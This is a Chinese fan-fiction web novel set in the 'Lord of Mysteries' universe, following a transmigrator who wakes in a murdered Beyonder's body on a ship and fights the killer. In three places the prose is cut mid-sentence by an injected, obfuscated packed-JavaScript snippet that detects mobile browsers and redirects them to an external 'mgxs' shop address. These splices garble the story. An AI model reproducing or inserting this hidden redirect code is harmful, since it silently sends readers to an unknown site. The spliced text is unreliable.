《[诡秘之主]宝剑三》 1. 复活 冷。 彻骨的冷。 一种刺入灵魂的森寒将他从无尽的黑暗中拖入现实。最先涌入感知的是冷,然后是手掌下方粘腻又温热的触感,最后是疼痛……他本能地喘气,却因为喉咙里异样的紧绷感没能成功发出声音。脑子里像是被无形的大手楔入了一根粗长的铁钉,血肉的萎缩伴随着一阵阵撕扯的锐痛,让他提不起力气起身,也没法凝神思考。 静默随着血泊无声淌流,零零碎碎的画面涌入脑海。他尝试换气,却听到“咚”的一声,头顶上方发出一声巨响。 谁…… 滞涩的大脑不足以支撑他产生更多念头。他思绪中刚刚冒出一点警觉的苗头,就被黑暗中响起的脚步声打断。躯体的僵硬让他无法动弹,但他的听觉、嗅觉变得十分灵敏。有一股掺杂着硝石气息的烟草味靠近了。 这气息很熟悉,轻易就勾动了那些若隐若现的记忆。零碎的画面组建成型,他看到了一张下颌过宽的男性面孔。熟悉的气息就来自记忆中的面孔。几分钟前,顶着这张面孔的男人杀了他。 不对,应该是杀了这具身体的原主人。 不知道为什么,这一刻他清晰地意识到他本不该出现在这里。他想不起来自己是谁,曾经有着怎样的过去,但他知道自己不该出现在这里。 穿越了? 对,他穿越了。他想。意识深处有个声音告诉他这叫穿越。 他尝试活动手指,但又在反应过来现实境况的一瞬间放弃。杀死原主的凶手还没有离开。对方的脚步声听起来很稳健,原主的记忆也显示,对方似乎没在搏斗中受什么伤。而自己,现在连控制四肢都十分困难。想反杀对方无异于做梦,还不如接着装死尸,说不定能赌出一线生机。 他屏住呼吸,强迫自己放松身体。 凶手还没意识到自己刚刚杀的人被外来者来了个借尸还魂,还在往他身边靠近。他静静听着对方的脚步,一步、两步、三步…… 没有要停下的征兆。 不知道对方是打算上来补刀还是处理尸体,如果是要补刀,那他就完了;如果是处理尸体,他或许还能趁对方准备的时间调整状态,想办法反杀。 希望原主在时,凶手就已经补完刀了。 他默默在心里祈祷。 硬底的皮靴敲打在铁质地板上,发出清脆的响声,几乎盖过他的心跳。他暗暗绷紧身体,尝试在不惊动对方的情况下缓解四肢的僵涩。 如果这家伙真打算补刀,那他就只能硬着头皮拼死一搏了。虽然身体的尸僵还没有彻底消退下去,但同归于尽也比任人宰割强。 他默默呼出一口气,悄无声息地。 男人在他头顶上方停步。“铮”的一声,似乎拔了刀。他脊背一凉,当即就要硬挺起身去抢夺武器,但身体没听使唤。 他的动作没生效,还是无声匍匐在那里。凶手却也莫名停住动作,像是受到了某种感召。 “大人?” “这边的老鼠已经处理掉了,我正准备打扫房间……现在吗?好,我明白。我会封锁好现场的。我马上过去。” 那人把刀收了回去,毫不留恋地走了。轻微的落锁声从稍远处传来。他在原地怔愣了一会,忽然明白过来,对方不是在对着空气自言自语,而是在跟什么人交谈。以他所不能理解的方式。 那位“大人”的呼唤救了他一命。 他松了口气,真正放松身体瘫软在地上。几分钟后,失温感和疼痛感渐渐消退。凶手没有去而复返,四肢的僵涩感也有所缓解。 似乎能动了。 他勉力曲臂支撑起上半身,晃晃悠悠地从地上爬起。地面上是一片深沉的血泊,原来那种温热粘稠的触感源自他流出来的血液,或者说身体原主人流出来的血液。 那家伙被刚刚的杀人凶手以某种钝器洞穿了胸膛,一击毙命。但看伤口形状,凶器有一个成年人的小臂粗,边缘并不锋利。原主死前一定经历过莫大的痛苦。 他解开扣子,摸了摸已经不再渗血的伤口。狰狞的血肉已经有自行愈合的迹象了,虽然愈合速度非常缓慢。伤势暂时应该是不用担心。 但危机仍没有解除。 原主的记忆并没有因为他继承了这具身体就主动从他脑子里往外冒,他暂时还只知道刚刚那男人杀死了原主,不知道双方之间到底有什么恩怨。现在那家伙把他锁在了这间屋子里,之后肯定还会回来处理凶杀现场。他得想办法逃出去,才有机会避开再次被杀的危机。 他坐在原地积蓄了一会力气,终于颤巍巍站起身来。虽然稍微拿回了一点身体的支配权,但或许是原主人当时受伤太重,他现在连简单的直立都感到吃力。得十分小心才能避免摔在地上发出声响,把杀人凶手引回来。 房间里的摆设没什么特别,只有一只箱子和少数衣物是跟原主有关的。窗外挂着一轮红月,海天相接。他这是在一艘船上。 简单的翻找过后,他摸出一本深藏在行李箱里的笔记本。像是原主的行程日记。 “1354年11月20日 抵达圣密隆。 弗萨克的食物难吃极了。 …… 1354年12月24日 想念队长,想念第四小队的每一个人。 真想早点回贝克兰德。 有点后悔提交晋升申请了。 …… 1355年3月4日 抵达因蒂斯边境,成功跟这次的同行人员汇合。那位先生说结束这次任务,我就能成为他们的正式成员,回到贝克兰德了。希望还能赶得上萨缪尔的婚礼。 …… 1355年5月1日 该死的,这群强盗为什么这么能跑? 但愿他们不要像领队女士说的那样,跑到狂暴海去。如果要去狂暴海追捕他们,那我就真的赶不及在萨缪尔的婚礼之前回到贝克兰德了。 …… 1355年6月3日 历时一个月,萨缪尔的婚礼结束了,而我也准备出海了。领队女士说这趟任务会很凶险,他们手里的0级封印物十分可怕。希望我还能活着回去,快到乔的生日了。 …… 1355年6月14日 我们被骗了,他们根本就不是在逃跑,他们要把这船人运到迷雾海去!已经有两个同伴遇害了,我想我可能没法活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320945|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着回到贝克兰德。幸运这次或许不会再眷顾我。 …… 1355年6月18日 同伴们都遇害了,而我还活着。亲爱的乔,我做了一个决定。这或许很凶险,但我别无选择。你会支持我这个决定的对吗?” 很奇怪,他居然能看懂这本日记里的文字。或许是源于这具身体的知识记忆使然,尽管他并不能想起原主经历过的所有事。日记写到6月18日就结束了,并没有交代什么和原主的身份有关的事。除了扉页的署名“克劳狄·奥兰多”,其他内容他都看不太明白,只能勉强辨认出几个地名,几个人名,和原主登船的动机。 现况是同伴都死了,船只被歹徒控制。迷雾海,根据那家伙的文字语气判断,应该是一个很危险的地方,而现在他正在这里。 形势很不乐观啊…… 他将原主的日记本塞进箱子底下,悄然摸进房间的盥洗室,耐心放了点水清理脸上身上的血渍。盥洗室里的镜子映照出他现在的面容,一张十分英俊且具有攻击性的脸孔,保管是让人看一眼就能记住,很难在人群中隐藏的类型。更别说身体的原主人还留了一头扎眼的金色长发。 和原主夹在日记本里的照片能对得上。但问题是,现在船只航行在海上,本身想从杀人凶手手里逃脱就挺困难的,这具身体的外形和打扮还这么有辨识度。他就算逃出房间,也很容易再次被那个歹徒找到。 他——现在或许应该换个称呼了——克劳狄甩了甩沾在手指缝里的水,轻轻叹气。 好大一个麻烦。 他现在不仅记不起自己的过往,连这具身体的原主人的过往都拼凑不全,就要面对这么大一个麻烦,那个杀人凶手光靠信息差就能轻易把他碾死。但不面对也不行,他没有退路。 总不能原地等死。 克劳狄做了个深呼吸,又轻手轻脚地走出盥洗室,回到凶杀案发生的第一现场,原主在这艘船上的房间。这件衣服已经在原主被杀的过程中报废,不能再穿。好在原主的财富状况似乎不算太差,手提箱里还有好几件换洗衣物。 他将衣服一股脑摸出来,选了一件看起来最顺眼的,凭身体本能换好。换完衣服,又将行李箱里的东西一一叠好放回原位。 整理外套的过程中,他发现了新的线索。原主在大衣口袋里还揣了一只巴掌大的笔记本。 这只笔记本记的东西就没有原先那本日记多了,拢共加起来也只有两页。第一页写着什么扮演法则,第二页是晋升序列七的准备计划。 序列七,是什么? 克劳狄疑惑了一瞬间,刚要把笔记本塞回大衣口袋里,就感到一阵眩晕,几乎站立不稳。撕裂般的头痛随即袭来,一些超越常理的认知无端灌进他的脑海。 他看到一个面容模糊的男人带着他往幽暗处走,边走边说:“加入我们意味着你要摒弃掉很多东西。非凡世界没有外界人士想得那么……刺激,有趣,英雄主义?只了解一点神秘学皮毛的孩子们总会那样想。但我要告诉你事情从来就不是那样。非凡者随时都可能面临失控的风险。” 这是……原主的记忆? 非凡者,序列八,机器? 2. 机器 头痛欲裂的体验让克劳狄踉跄了两下。 狂乱的记忆像是没有头绪的毛线一样将他缠绕其中,但事实上,他刚想去分析内容,那些零散画面就同时抽离。留下的只有精神和感官的真实痛苦,以及毫无条理的残缺认知。 他“砰”一声摔跪在地上,膝盖与小腿肌肉与地面碰撞并摩擦的触感让他蜷缩起身体。阵阵黑白交织的色彩在脑袋里炸开。唯一值得庆幸的是,那名杀人凶手不知道被叫去做什么了,暂时不在附近,没有察觉他折腾出来的动静。 笔记本摔在他脸侧,自动翻腾了几页。 他喘息着缓冲了好一会,才觉得那种头晕目眩的感觉稍稍减轻。外界的海天依然静谧,红月仿佛一只注视人间的鬼眼。 他斜翻过身,试图捡拾笔记本的同时,撑地起身。笔记本又回到刚刚有文字的那一页,怪物序列的扮演法则。不知道为什么,原主只写了序列八机器的扮演法则,序列九后面是空白。 “序列八:机器 一,绝对的严谨、理性。 二,量化标准的外部审视与自我审视。 三,不要迷失于扮演,扮演不等于成为。守住本心,不要忘记自己究竟是谁。” 相当笼统的规则概括,看起来就像一张机械商品的使用说明书。克劳狄合上笔记,脑子里渐渐涌现出原主关于非凡世界的知识。在刚刚经历记忆风暴的过程中,那些东西已经自动进入他的脑子。他由此得知,非凡者是一种特殊职业。 一种能驱使非凡力量的职业。 这种职业按照序列分门别类,获得不同的特殊能力。当代神秘界共有二十二条序列,原主留给他的是其中一条名为“怪物”途径的序列能力。每序列共十个等级,从序列九到序列零。数字由大到小,层次和能力逐渐提升。 现在他继承了原主的身体,似乎也继承了原主的能力。序列八的能力。 序列九怪物的能力是,灵感提高、危险直觉,间歇性被动的未卜先知。这一点也顺延到序列八。而序列八机器的能力……克劳狄尝试按照记忆里的模式闭了闭眼,三个呼吸后重又睁开。 房间的长宽高度量,各墙面的面积、屋内容积瞬间在他脑海中转化成精准的数字与单位。就连原主临死前那场战斗中,每样物品的运动轨迹都在他脑子里复现无疑。计算能力。 停顿片刻后,他又从笔记本上撕下一张薄薄的纸。捻住纸张边缘后,他轻轻投掷。 纸张精准卡在他投掷的目标位置,墙面与墙面存在缝隙的接口。进入的深度、姿态都跟他预想中一般无二。绝对的控制力。 克劳狄稀奇地摸上前去抽出那张纸,将其揉皱成团塞进口袋。从现有的记忆来看,原主的战斗能力不差。机器特性也会对非凡者的格斗、枪械使用能力产生不小的增益。那家伙不应该那么轻易地死在那个宽脸男人手里。 难道是因为日记里提到的“0级封印物”? 他想了想,觉得很有可能。但可惜刚刚恢复的记忆有限,除了零零散散的神秘学常识,他再也没法窥探到更多。0级封印物这个词汇,并不在那部分神秘学常识内。 月色逐渐西沉,原主的死亡时间是午夜,而他成为克劳狄已经是凌晨。 克劳狄穿上一件不那么显眼的深色外套,将船票和两只笔记本同时揣进衣兜。杀人凶手已经离开了有一会,他也对当前的处境有了大致的了解。为了避免跟回来抛尸的人撞个正着,他得早点转移阵地。看日记描述,原主上船时似乎是有同伴的,虽然那些同伴好像都死了,但没关系,他们的房间里说不定有他用得上的东西。 克劳狄扣上纽扣,无声无息地来到门口。 适应序列八的能力后,他对身体的控制力也渐渐恢复,不至于再步履蹒跚。 房门被凶手以某种超越常理的方式反锁了,门缝里还有一种特殊的灵性残余。那家伙相当谨慎,哪怕已经确认过原主的死亡,也仍然对房间保留了封闭手段。克劳狄蹲下身观察了一会,一时间有点无从下手。 机器的能力很方便他撬锁,但这是灵性层面的封锁,他如果强行破门,凶手一定会发现。 当然,事后那人回来抛尸会发现他还没死是必然发展。但事后是事后,现在是现在。这艘船的可活动范围就那么大点,他能争取一分钟的时间用来逃离和躲藏都有着巨大的意义。毕竟目前看来,那男人的战斗实力比原主强悍得多。而他刚适应身体,战斗实力大概率还不如原主。 “如果那家伙自己解除封锁就好了。” 克劳狄忍不住在心里这样想。 令他始料未及的是,这个念头刚刚落地,房门咔哒一声开了。克劳狄“蹭”一声从地上站起,难以相信自己说话居然这么灵验。 与此同时,一种源自灵性的预知直觉击中了他。模糊的画面一闪而逝,他看见杀死原主的凶手被一只肌肉虬结的手臂击中。那恐怖的一击让冷血的杀人者当场重伤。 对方离开是为了应付另一些人,现在那家伙受伤了,这里的灵性封锁自动解除了…… 克劳狄自动从这一画面中解读出具体信息。 没想到怪物的预见能力还有这种用途。 不过那道击伤杀人凶手的攻击,看起来很像是某种非凡者的能力。船上不只有原主的队伍和凶手一行人,还有其他势力的非凡者。其他势力的非凡者找凶手的队伍麻烦,无意间救了他。 吸引火力带走凶手的同时,还帮他解除房间的封锁。是个标准意义上的“好人”了。 克劳狄拉开门,确认门外没有危险后,才安静却快速地跨出房间。夜间的海面静谧无垠,在红月笼罩下,深沉如蓄积的血泊。他贴着船舱默默移动,忽然后背一凉,本能地抬头看向红月。月上阴影一闪而逝。 错觉吗……难道是他刚刚经历过生死危机,精神有点过度紧绷了? 克劳狄调整了一下呼吸,将多余的念头从头脑里甩开。因为记忆的缺失,他想不起原主那些同伴的具体房间位置,只能凭直觉寻路。最初那点零零散散的记忆画面隐约能吻合船上的情境,但信息实在太零散了,根本无法准确定位。 “哗”的一声,克劳狄脚步一顿。 有黑影从他身旁一闪而逝,下落入水。紧接着,船舷下方的水域里发出脆响——头顶有人。 这一认知让克劳狄瞬间绷紧身体,紧紧贴住船舱边缘的阴影。很快,头顶那个疑似正在抛尸的家伙动了动步,压着声调对什么人说话:“这边这个解决了,你那边小心点。” 因为不确定对方的立场,克劳狄不敢随意暴露自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320946|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一直等到脚步声离开才敢喘气。船只持续航行着,船身与海面的交界处白沫浮动,刚刚那家伙扔进海里的东西已经没了踪影,他也无法判断落水的究竟是不是人尸。 小小一艘船,居然能热闹成这样。 克劳狄无言。紧张又放松的状态切换让他下意识呼了口气,微微曲身。口袋里的船票因此飘飞出来,好在他眼疾手快地抓住,没让那张小纸片落进海水飘走。 他下意识想把船票揣回原位,但异样的触感让他顿住动作。之前原主死亡时,船票就待在他的口袋里,沾染了大量的血液,有所污损。这就导致他醒来时没有第一时间检查它。 然而单张船票不应该是这样的厚度。 克劳狄捻了捻票纸边缘,意外发现这居然是五张被血液粘连在一起的船票。一张属于原主,那另外四张,应该就属于原主的同伴了。 虽然原主的序列八能力对身体各方面的素质都有显著增强,但因为年龄小、资历较浅,原主在队伍里更多是充当辅助和后勤的角色。 克劳狄捏着船票,很快就根据现有的信息分析出了原主拥有全队成员船票凭据的原因。精准的计算能力也能用在管理金钱支配的方面。发挥个人特长,这很合理。 不过有了这几张船票,他就能通过占卜确认另几名非凡者生前居住的房间位置了。就是不知道杀死原主的凶手是否已经掌握这些信息。 他只能打时间差。 想到这里,克劳狄将票纸一一分开,随机抽选出一张进行占卜。现在条件不允许,他只能以最简单的抛硬币法确定是前进、后退,左转还是右转。灵性指引着他一步步靠近船尾。 这一切仍是在静默中发生的。他刻意控制了脚步声响,以防惊动船上潜藏的危险。 最后,他来到船尾附近的一间套房。 屋内静悄悄的,没有活物气息。附近也没有什么游客往来。现在是凌晨时分,船上的乘客们大部分都在安眠。克劳狄在转角处观察了好几分钟,才小心翼翼地靠近房门。 撬开这样的门锁对机器而言毫不费力。 周围没有灵性封锁的痕迹。房间里的东西也并没有被人收走。克劳狄据此判断,原先住在这里的原主同伴已经遇害有两天了,而船上的船长和水手们大概都已经被杀人凶手及其同伙替换。 他毫不客气地翻找起来,一路翻腾到角落,但没发现什么当前需要的非凡物品。杀死原主同伴的凶手将这里搜刮得很干净。 这倒是不令人意外。克劳狄也不气馁,搜索完最常规的置物位后,又把目光转向一些刁钻的角落。最终,他在床铺缝隙处摸到了两张巴掌大小的金属片。 继承自原主记忆的神秘学知识让他瞬间意识到这东西是符咒。符咒的使用方法也立刻在他脑海中融会贯通。 虽然序列八特性能够增强怪物途径非凡者的身体素质,但在非凡者的战斗中,光有身体素质还远远不够。他现在没有枪械傍身,原主的非凡物品和武器似乎都被那个宽脸男人搜刮走了,符咒倒是很实用的战斗资源。 克劳狄揣起金属片,因为不知道原主这个同伴叫什么,就对着房间里的阴影道了声谢。 确认屋内已经没有其他实用资源剩下后,他拉起衣领遮住下半脸,轻手轻脚地退出房间。 3. 冷血者 第一张船票的指向检阅完毕,还剩下四张船票。原主本人的船票目前还未经排除,因为船票上的图案和文字都已经被血液污损。克劳狄按照惯性心理抽走和第一张船票相对的另一侧、最底部的票纸,跟其他票纸分开放好,这才翻动剩下三张票纸,三选一捏在手里抛起硬币。 硬币落定,向右。 克劳狄扫了一眼仍旧深沉的夜色,并没有第一时间动步。在房间中翻找的过程已经让他因为死亡威胁而紧绷的精神趋于冷静。从他在凶杀现场恢复意识开始,船舱里就有点过于安静了。现在想想,这其实不太对劲。 原主的日记显示,这艘船最初是要开往狂暴海的。既然是客船,那么除去原主的队伍和原主所追杀的凶手一行人,坐上这艘船的绝大多数乘客,开启这段旅途的目的应该都更加“世俗”。 比如旅游观光,或是换个环境寻求机遇。 抱着诸如此类的目的,乘客们的夜间睡眠质量会这么好? 克劳狄手指一翻,将那枚硬币捏进手心。阖眸凝神的一瞬间,怪物途径的强大灵感让他捕捉到了附近的战斗余波。就在他脚底下。船上的乘客们的确都在熟睡,但这种熟睡中似乎又掺杂了一种非凡因素的刻意引导。 “梦魇?” 这种非凡能力在原主的神秘学常识库存中并不罕见。但这是序列七的能力,比他要高一个层次。而且非凡者的能力并不是无限使用的,像这样大范围拉一整艘船的普通人入梦,需要耗费大量的灵性。能支撑这种耗费的非凡者,绝对不只是一个序列七的梦魇。 霎时间,克劳狄猛地接收到危险预警,捏紧那枚硬币就要撤走。但慢了一步。转角处骂骂咧咧地走出一个人影,跟他撞个正着。 “狗屎!让我抓到他,我非得把他吊在桅杆上狠狠地揍一顿……” 是杀死原主的凶手! 克劳狄转头就跑,但两相照面间,那家伙已经已经看清了他的脸。宽脸男人的表情瞬间阴沉下去:“是你!你还活着!” 克劳狄当然不会回答。他一个飞身就往船头方向冲,奔跑间上衣衣摆被栏杆挂住,勾开了一条裂隙也分秒不停。“呲”的一声,宽脸的凶手捂着肋骨追赶,但被克劳狄的衣摆甩了一耳光。 人格上的凌辱让凶手愤怒高涨:“站住!” “傻瓜才在这种时候站——” 克劳狄踩中一滩积水,“呲溜”就滑出三扇窗的距离。却不想右侧栏杆处忽然裂开一条深黑的空间缝隙,数条诡异的“长鞭”砰然砸来,硬生生把他嘴上的挑衅打断。 他凭借极强的肢体控制力翻身躲开,踩着近处的栏杆借力往前跃。“长鞭”砸上船舱靠外的通风窗,带出一串叮铃哐当的碎裂声。碎玻璃旋即哗啦啦下落,有的溅上甲板,有的落进海水。 克劳狄心下一惊。 刚刚经历过跟更强者的战斗并身受重伤,现在居然还能有余力对他展开这种形式的攻击,这家伙的实力比他一开始预计的还要强。 原主到底是怎么在这艘船上活过十多天的! 那几条从裂隙中生长出来的“长鞭”有着长鞭的形状和作战性能,但实际由一块块形状各异棱角突出的骨头组成。在那名宽脸凶手的驱使下,它们灵活得就像水里的蛇,甚至仿佛拥有独立的精神意志。一击落空,骨蛇般的“长鞭”转过一圈,又飞快调转方向,直刺向克劳狄的胸腹。 变打为刺,攻击形式就不再局限于鞭术了。 克劳狄陡然喘了口气,以从未有过的速度握住栏杆上沿曲身向外滑,险险与骨蛇的倒刺擦肩而过。又猛地挺身绕栏杆转过一整圈,以攻代防踩上“骨蛇”的脊背。 他这一踩用了十足的力气,目的就是试探对方的召唤物能不能被物理方式击碎。 答案显然是不能。鞋底与“骨蛇”产生接触的一瞬间,一股森寒顺着克劳狄的小腿一路上行,窜进心脏。直接用□□触碰那玩意相当危险,他很有可能被当场腐蚀成一具白骨! 灵性对克劳狄下达了危险预警。克劳狄当即手臂发力,赶在真正踩中“骨蛇”之前一个翻身回落在湿润的甲板上。“骨蛇”循着他的运动轨迹沿船尾栏杆缠过一圈,再次刺空。 他曲起手肘,心有余悸地呼了口气。 但这口气还没喘匀,又一轮攻击紧随而至。杀死原主的凶手已经趁他躲避“骨蛇”的间隙追了上来,挥舞着匕首直劈他侧颈。他只能强迫自己集中精神,猛地抬脚踩起一块碎玻璃。 玻璃片精准格开匕首,他一个借力起身,直往右后方扑。男人出手时一直捂着左边肋骨,在他借灵性看到的画面中,袭击这群暴徒的强大非凡者击伤男人的位置也在左边肋骨。他们交上手后男人的同伴没有赶来支援,这证明下一层的战斗还没有结束。这家伙是负伤脱战的,所以左肋处的伤势并不是对他毫无影响。 克劳狄拼命拐过弯道,在第五扇窗前急停。 浪潮“哗”然拍上甲板。下一层剧烈波动的灵性归于沉寂。与此同时,一条条尾部相连的“骨蛇”交缠着拐过弯道,凶猛无比地张开两块头骨之间的裂隙,仿佛野兽最终猎杀前的嚎叫。 克劳狄翻转手腕,强忍住颤抖的本能将提前摸到手里的符咒扔出。 形容狰狞的“骨蛇”疯狂挤压船舱侧面的平地空间,仿佛要将猎杀范围内的克劳狄撕成碎片。金属制符咒精准飞到它们头顶,在月色映照下悄然流转过一串绯红光晕。克劳狄抓准时机,按照记忆里的方式低念:“黑夜……” “沉眠!” 沉眠符咒轰然生效,暗红色火焰爆开。宽脸男人召唤出的“骨蛇”重重坠地,如灰烬般消弭。追赶而来的凶手因此在拐弯处急停,甚至还为了躲避沉眠符咒的影响抬起手臂遮挡。 好机会。 克劳狄精准捕捉到男人动作停滞的瞬息,陡然扔出刚刚藏匿的两枚碎玻璃。玻璃片畅通无阻地破空而去,直刺进男人裸露的脖颈。 男人眼底绽开剧烈的不可置信。 克劳狄知道这点小把戏还不足以杀死对方,因此毫不犹豫地掏出另一枚沉眠符咒,急退一步就要故技重施。但抛出符咒的念头刚刚在脑海中成型,一种四肢僵化的体验袭来,他所能思虑和支配的一切都变得无比迟缓。 罪犯途径序列八的恶魔类法术能力。 不……好…… 前所未有的阴冷爬上脊背。克劳狄拼命挣扎,想要摆脱这种影响,但连思维都缓慢到没法向下推进。海浪声、船舱里的乘客梦呓,杀人凶手压抑的轻咳,都无比清晰地传入他的感官。但他没法做出反应,只能眼看着宽脸男人越走越近。 “比我想象中要能折腾点。” 男人来到他面前,抽出那枚沉眠符咒:“之前我明明已经洞穿了你的胸口,连心脏都掏出来献祭了,没有人能在那种情况下活着。你是怎么爬出那间房的,怨灵附身?” 克劳狄还在迟缓状态下,没法回答。 意识到这一点,宽脸男人打了个响指。精神控制瞬间解除,克劳狄莫名觉得身体一软,转眼就被眼前的凶手用匕首抵住脖子。 “你是怪物途径的序列八,”男人揣起符咒,用行动示意他挣扎无效,“和他相比,实力并没有显著提升。通常来讲,附身怨灵是不能继承身体原主人的非凡能力的。能在这么短的时间内判断出我的伤势所在,以最小的代价打出最大的伤害效果,你也不是一般恶灵。你背后是谁?” 克劳狄默然。 “不说吗?”男人冷嗤一声,“那算了,反正我也不是不能直接杀了你通灵。” 匕首寒光一凛,刃尖抬起,狠狠往克劳狄的颈动脉处扎。然而扎了个空。克劳狄看准时机格住男人的手肘,反侧身向他腋下闪避。与此同时,一张杀气腾腾的塔罗牌旋飞而至。 宽脸男人侧身,眼底掠过一丝嗜血的光芒。他以一种正常人类躯体所无法承受的扭曲姿态躲过克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320947|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳狄和那枚塔罗牌的夹击,“咚”然退到栏杆旁。塔罗牌深深嵌进船舱外壁。而在船舱上风口,晦暗的阴影一闪而逝。 罪犯途径的冷血者再次召唤出“骨蛇”围困克劳狄,同时凝眸转向阴影处:“找到你了。” ——战局陡转。 瞬息间,克劳狄的身份从猎物转变为无关紧要的路人,男人从胸口摸出一块黑漆漆的东西,张开双手诵念咒语。这一刻克劳狄才意识到,这家伙的能力远不止序列八。 难怪那么轻松就将原主一击毙命,即使身受重伤也能毫不费力地对付他。 男人将矛头调转向边缘角落的黑影,毫不犹豫地扑身而上。 克劳狄躲开“骨蛇”的缠绕,回身间随着男人扑向黑影的动作抬眸。咸腥的海风吹起浪花泡沫,也吹起他过长的头发。发丝缝隙间透出那道黑影的模样,那是一张绘着小丑面妆的脸孔。 占卜家途径的序列八,小丑。 宽脸男人是因为察觉了这家伙的存在,才没有当场杀他通灵的。这家伙救了他。 克劳狄闪身靠向栏杆,骗“骨蛇”自己绕栏杆打结的同时偷眼观察战局。按理来说他现在应该上去跟小丑联手对付宽脸男人。但刚刚下层的非凡者战斗已经结束了,宽脸男人的同伴说不定什么时候就会上来支援。他才刚成为克劳狄不久,对这具身体的非凡能力还不够熟悉,前面的战斗已经是勉强,要是再加入几个像宽脸男人那样的敌手,别说帮上小丑的忙了,连自保都难。 心念电转间,他默念了一句“加油”,猛然跳出“骨蛇”的攻击范围,踩着碎玻璃后撤。 激战中的两人没有意识到他的小动作,也就没有上前追赶。只有那条“骨蛇”从栏杆上跌下,怒不可遏地一扫尾巴飞窜上前。 克劳狄也不惊慌,一边制造路障一边拐进楼梯。然而下层的战斗原来并没有结束,而是转移了阵地,他刚抵达楼梯口,就听到一阵急促的脚步声由远及近。危险预感旋即追上他。 这些人似乎比他身后那两人更危险。 他不得不踩起一串玻璃碎片用巧劲将它们洒向“骨蛇”追击的路径,转而调换方向往上跑。上层还有一个疑似杀人抛尸的非凡者,但留在本层和前往下层都是死,不如去上层碰碰运气。 说不定上层那家伙最弱,他能打得过。 “骨蛇”躲开他的间歇性攻击,追着他撞上船舱,又飞快爬起来甩尾跟上楼梯。克劳狄灵活闪避每一个可能撞墙和落水的危险点,不知不觉间来到甲板尽头,直面广阔的海天一线。 爆裂声在他脚下停了又响,而前方只剩下桅杆和大海。 没路了。 他被迫顿住脚步,喘息着转身。 “骨蛇”嘶然咧开两块头骨间的缝隙,挑衅般飞扑而来,眼看就要来到他面前。甲板□□枯白骨拍打出沉闷的重响,像是死神降临的脚步。 这东西没法用物理方式消灭,但最后那张沉眠符咒被宽脸男人抢走了。他面前只剩下一条路可选——殊死一搏。 克劳狄屏住呼吸。 危险的临近让他的心情反趋平静,不知道是不是怪物途径的特殊加持。他凛然盯住“骨蛇”前进的路线,浑身紧绷地,在心底倒数起对方与自己距离归零的剩余秒数。 “骨蛇”由一块块风干白骨拼成的尾巴在甲板上拖出长长的、反光的水渍,晃着他的眼睛。 三…… 二…… 一! 克劳狄猛然抬手。“骨蛇”狠狠撞向他,但一股诡异的力量倏然席卷向外,正中这怪物。怪物自行崩溃了。他也被来自斜后方的巨力拉进阴影按上船舱。 他本能地挣扎,但被对方捂住了嘴巴。那人伸出一根手指贴在嘴角,示意他噤声。 克劳狄愣住。 不是因为卸下了防备,而是因为这张脸他见过。绘着小丑面妆的脸孔,和下层那个正在跟宽脸男人缠斗的家伙一模一样。 4. 秘偶大师 混乱的脚步声飞快穿越下层船舱,往船尾方向去了。敌方气急败坏的骂声、猎猎作响的风声以及巨大的落水声在空气中汇聚成急切的交响乐高潮。小丑与连环杀手的缠斗还在继续,另一波非凡者的追逐战也还没结束,但一切的喧嚣和危险都被四面的灵性之墙阻隔在外。 灵性直觉向克劳狄释放出安全的信号:眼前的小丑对他没有恶意,至少此刻没有。 克劳狄冲小丑小幅度点头,表示自己不会大声惊叫引来敌人。小丑似乎读懂了他的意思,转手就松开钳制、拎着他跃下栏杆。 他被拎到了一处隐蔽的入口。 从原主那里继承得来的语言知识告诉他,下面是这艘客船的储物间。小丑推着他进门,态度意外的客气。克劳狄心下奇怪,但也没有做多余的反抗。他确信自己打不过对方。 储物间布置得像一间客房,并没有堆放他意料当中的杂物。空地正中央摆着一张桌子,桌上的玻璃球隐隐散发着辉光。而玻璃球后站着一个人,外貌跟他前面见到的小丑高度相似。 只是这个人脸上并没有夸张的油彩绘饰。 这是一个苍白的男人,接近三十岁的年纪。相貌不算英俊,也没有什么大的缺陷,容易让人联想到家里亲切的长辈。 那两个小丑似乎都受他驱策。 克劳狄想了想,试探道:“秘偶大师?” 男人打了个响指,克劳狄背后的“小丑”瞬间消失。玻璃球散发的微光随之抖了抖,为这一场景平添上诡谲的色调。 但他一抬头,明光照亮眉眼,那种诡谲的气质就荡然无存了。不知道是不是克劳狄的错觉,他似乎觉得这人看他的眼神里掺杂了一种说不清道不明的审视意味。 “序列八。” 